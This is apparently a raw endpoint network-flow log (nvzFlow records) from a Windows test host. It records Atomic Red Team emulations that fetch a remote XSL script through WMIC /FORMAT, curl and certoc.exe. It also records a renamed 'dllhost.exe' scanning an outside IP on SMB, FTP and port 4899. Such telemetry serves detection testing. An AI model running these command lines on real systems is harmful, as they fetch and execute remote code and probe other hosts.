ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693937460" fems="1750693937460" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:16 127.0.0.1 Jun 23 15:52:16 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="45186" da6="::ffff:172.16.3.110" dp="888" fd="1" fss="1750693936" fst="Mon Jun 23 15:52:16 2025" fes="1750693936" fet="Mon Jun 23 15:52:16 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693936819" fems="1750693936819" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jul  1 22:03:17 127.0.0.1 Jul  1 22:03:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="36988" da="172.64.149.23" dp="80" fd="1" fss="1751407373" fst="Tue Jul  1 22:02:53 2025" fes="1751407373" fet="Tue Jul  1 22:02:53 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WMIC.exe" ph="24BF26349E8947F05AAF6A7FAC826C98084876CC17F369FA9B95861A361D4A97" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="ocsp.usertrust.com" iid="4" mnl="''" mhl="''" fsms="1751407373099" fems="1751407373099" pid="6012" ppath="C:\Windows\System32\Wbem\WMIC.exe" parg=" process list /FORMAT:\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="AF5FCB6A184A8E5D95A849C0B2AE66FF"
Jul  1 22:03:17 127.0.0.1 Jul  1 22:03:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="36987" da="172.64.149.23" dp="80" fd="1" fss="1751407373" fst="Tue Jul  1 22:02:53 2025" fes="1751407373" fet="Tue Jul  1 22:02:53 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WMIC.exe" ph="24BF26349E8947F05AAF6A7FAC826C98084876CC17F369FA9B95861A361D4A97" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="ocsp.comodoca.com" iid="4" mnl="''" mhl="''" fsms="1751407373057" fems="1751407373057" pid="6012" ppath="C:\Windows\System32\Wbem\WMIC.exe" parg=" process list /FORMAT:\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="AF5FCB6A184A8E5D95A849C0B2AE66FF"
Jul  1 22:03:22 127.0.0.1 Jul  1 22:03:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="36986" da="185.199.109.133" dp="443" fd="1" fss="1751407372" fst="Tue Jul  1 22:02:52 2025" fes="1751407381" fet="Tue Jul  1 22:03:01 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WMIC.exe" ph="24BF26349E8947F05AAF6A7FAC826C98084876CC17F369FA9B95861A361D4A97" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="7120" obc="685" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751407372638" fems="1751407381169" pid="6012" ppath="C:\Windows\System32\Wbem\WMIC.exe" parg=" process list /FORMAT:\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="AF5FCB6A184A8E5D95A849C0B2AE66FF"
Jul  1 22:03:03 127.0.0.1 Jul  1 22:03:03 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="36986" da="185.199.109.133" dp="443" fd="1" fss="1751407372" fst="Tue Jul  1 22:02:52 2025" fes="1751407372" fet="Tue Jul  1 22:02:52 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WMIC.exe" ph="24BF26349E8947F05AAF6A7FAC826C98084876CC17F369FA9B95861A361D4A97" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751407372638" fems="1751407372638" pid="6012" ppath="C:\Windows\System32\Wbem\WMIC.exe" parg=" process list /FORMAT:\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="AF5FCB6A184A8E5D95A849C0B2AE66FF"
Jul  2 12:34:44 127.0.0.1 Jul  2 12:34:44 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="40418" da="185.199.109.133" dp="443" fd="1" fss="1751459667" fst="Wed Jul  2 12:34:27 2025" fes="1751459667" fet="Wed Jul  2 12:34:27 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6709" obc="566" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751459667458" fems="1751459667489" pid="11344" ppath="C:\Windows\system32\curl.exe" parg=" -k -o C:\Users\ADMINI~1\AppData\Local\Temp\2\\test.xsl https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="E5FB63A54D7A89C7BBD9EC7ADE6102A2"
Jul  2 12:34:44 127.0.0.1 Jul  2 12:34:44 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="40418" da="185.199.109.133" dp="443" fd="1" fss="1751459667" fst="Wed Jul  2 12:34:27 2025" fes="1751459667" fet="Wed Jul  2 12:34:27 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751459667458" fems="1751459667458" pid="11344" ppath="C:\Windows\system32\curl.exe" parg=" -k -o C:\Users\ADMINI~1\AppData\Local\Temp\2\\test.xsl https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E5FB63A54D7A89C7BBD9EC7ADE6102A2"
Jul  2 12:34:29 127.0.0.1 Jul  2 12:34:29 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="40409" da="185.199.109.133" dp="443" fd="1" fss="1751459644" fst="Wed Jul  2 12:34:04 2025" fes="1751459644" fet="Wed Jul  2 12:34:04 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6711" obc="566" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751459644416" fems="1751459644568" pid="8548" ppath="C:\Windows\system32\curl.exe" parg=" -sko C:\Users\ADMINI~1\AppData\Local\Temp\2\\test.xsl https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="447189CF93F784B0A60A174EE740BA6D"
Jul  2 12:34:14 127.0.0.1 Jul  2 12:34:14 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="40409" da="185.199.109.133" dp="443" fd="1" fss="1751459644" fst="Wed Jul  2 12:34:04 2025" fes="1751459644" fet="Wed Jul  2 12:34:04 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="curl.exe" ph="8B39C07EC671DAFB125BDC0E5FD4D51BC4A7D73E505C63C95F976698BBBD5699" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751459644416" fems="1751459644416" pid="8548" ppath="C:\Windows\system32\curl.exe" parg=" -sko C:\Users\ADMINI~1\AppData\Local\Temp\2\\test.xsl https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl\"" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="447189CF93F784B0A60A174EE740BA6D"
Jul  2 16:54:20 127.0.0.1 Jul  2 16:54:20 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41903" da="185.199.111.133" dp="443" fd="1" fss="1751475225" fst="Wed Jul  2 16:53:45 2025" fes="1751475225" fet="Wed Jul  2 16:53:45 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="httpd.exe" ph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="httpd.exe" pph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ibc="6402" obc="829" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751475225504" fems="1751475225938" pid="8156" ppath="C:\xampp\apache\bin\httpd.exe" parg="-d C:/xampp/apache" ppid="10816" pppath="c:\xampp\apache\bin\httpd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="6C324250E8B08EBBA6CBB905DCB52268"
Jul  2 16:54:10 127.0.0.1 Jul  2 16:54:10 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41903" da="185.199.111.133" dp="443" fd="1" fss="1751475225" fst="Wed Jul  2 16:53:45 2025" fes="1751475225" fet="Wed Jul  2 16:53:45 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="httpd.exe" ph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="httpd.exe" pph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751475225504" fems="1751475225504" pid="8156" ppath="C:\xampp\apache\bin\httpd.exe" parg="-d C:/xampp/apache" ppid="10816" pppath="c:\xampp\apache\bin\httpd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="6C324250E8B08EBBA6CBB905DCB52268"
Jul  2 16:54:04 127.0.0.1 Jul  2 16:54:04 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41900" da="185.199.111.133" dp="443" fd="1" fss="1751475224" fst="Wed Jul  2 16:53:44 2025" fes="1751475225" fet="Wed Jul  2 16:53:45 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="httpd.exe" ph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="httpd.exe" pph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ibc="6697" obc="764" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751475224952" fems="1751475225490" pid="8156" ppath="C:\xampp\apache\bin\httpd.exe" parg="-d C:/xampp/apache" ppid="10816" pppath="c:\xampp\apache\bin\httpd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="6C324250E8B08EBBA6CBB905DCB52268"
Jul  2 16:53:54 127.0.0.1 Jul  2 16:53:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="41900" da="185.199.111.133" dp="443" fd="1" fss="1751475224" fst="Wed Jul  2 16:53:44 2025" fes="1751475224" fet="Wed Jul  2 16:53:44 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="httpd.exe" ph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="httpd.exe" pph="7BD994AE100F079C7C2E36414EC40C059B38D440F0C48E89C0946896C8B0AEEA" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751475224952" fems="1751475224952" pid="8156" ppath="C:\xampp\apache\bin\httpd.exe" parg="-d C:/xampp/apache" ppid="10816" pppath="c:\xampp\apache\bin\httpd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="6C324250E8B08EBBA6CBB905DCB52268"
Jul  2 18:06:41 127.0.0.1 Jul  2 18:06:41 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="42180" da="185.199.108.133" dp="443" fd="1" fss="1751479581" fst="Wed Jul  2 18:06:21 2025" fes="1751479581" fet="Wed Jul  2 18:06:21 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certoc.exe" ph="C57EF8D1D2D494A2E074C6A6621E83CF999D20366EBCEE9ED9837A3580794CD7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6667" obc="658" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751479581376" fems="1751479581454" pid="12152" ppath="C:\Windows\system32\certoc.exe" parg=" -GetCACAPS https://raw.githubusercontent.com/redcanaryco/atoC:\Users\Administrator\Downloads\nvm_test" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="955CE7CED5098925BC6662D9881AE072"
Jul  2 18:06:31 127.0.0.1 Jul  2 18:06:31 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="42180" da="185.199.108.133" dp="443" fd="1" fss="1751479581" fst="Wed Jul  2 18:06:21 2025" fes="1751479581" fet="Wed Jul  2 18:06:21 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certoc.exe" ph="C57EF8D1D2D494A2E074C6A6621E83CF999D20366EBCEE9ED9837A3580794CD7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751479581376" fems="1751479581391" pid="12152" ppath="C:\Windows\system32\certoc.exe" parg=" -GetCACAPS https://raw.githubusercontent.com/redcanaryco/atoC:\Users\Administrator\Downloads\nvm_test" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="955CE7CED5098925BC6662D9881AE072"
Jul  2 22:06:57 127.0.0.1 Jul  2 22:06:57 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44151" da="94.132.99.81" dp="4899" fd="1" fss="1751493982" fst="Wed Jul  2 22:06:22 2025" fes="1751493982" fet="Wed Jul  2 22:06:22 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493982749" fems="1751493982749" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:42 127.0.0.1 Jul  2 22:06:42 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44150" da="94.132.99.81" dp="445" fd="1" fss="1751493981" fst="Wed Jul  2 22:06:21 2025" fes="1751493981" fet="Wed Jul  2 22:06:21 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493981681" fems="1751493981681" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:37 127.0.0.1 Jul  2 22:06:37 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44149" da="94.132.99.81" dp="21" fd="1" fss="1751493980" fst="Wed Jul  2 22:06:20 2025" fes="1751493980" fet="Wed Jul  2 22:06:20 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493980665" fems="1751493980665" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:27 127.0.0.1 Jul  2 22:06:27 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44148" da="94.132.99.81" dp="80" fd="1" fss="1751493979" fst="Wed Jul  2 22:06:19 2025" fes="1751493979" fet="Wed Jul  2 22:06:19 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493979656" fems="1751493979656" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:22 127.0.0.1 Jul  2 22:06:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44147" da="94.132.99.81" dp="4899" fd="1" fss="1751493968" fst="Wed Jul  2 22:06:08 2025" fes="1751493968" fet="Wed Jul  2 22:06:08 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493968256" fems="1751493968256" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:22 127.0.0.1 Jul  2 22:06:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44146" da="94.132.99.81" dp="445" fd="1" fss="1751493967" fst="Wed Jul  2 22:06:07 2025" fes="1751493967" fet="Wed Jul  2 22:06:07 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493967178" fems="1751493967178" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" 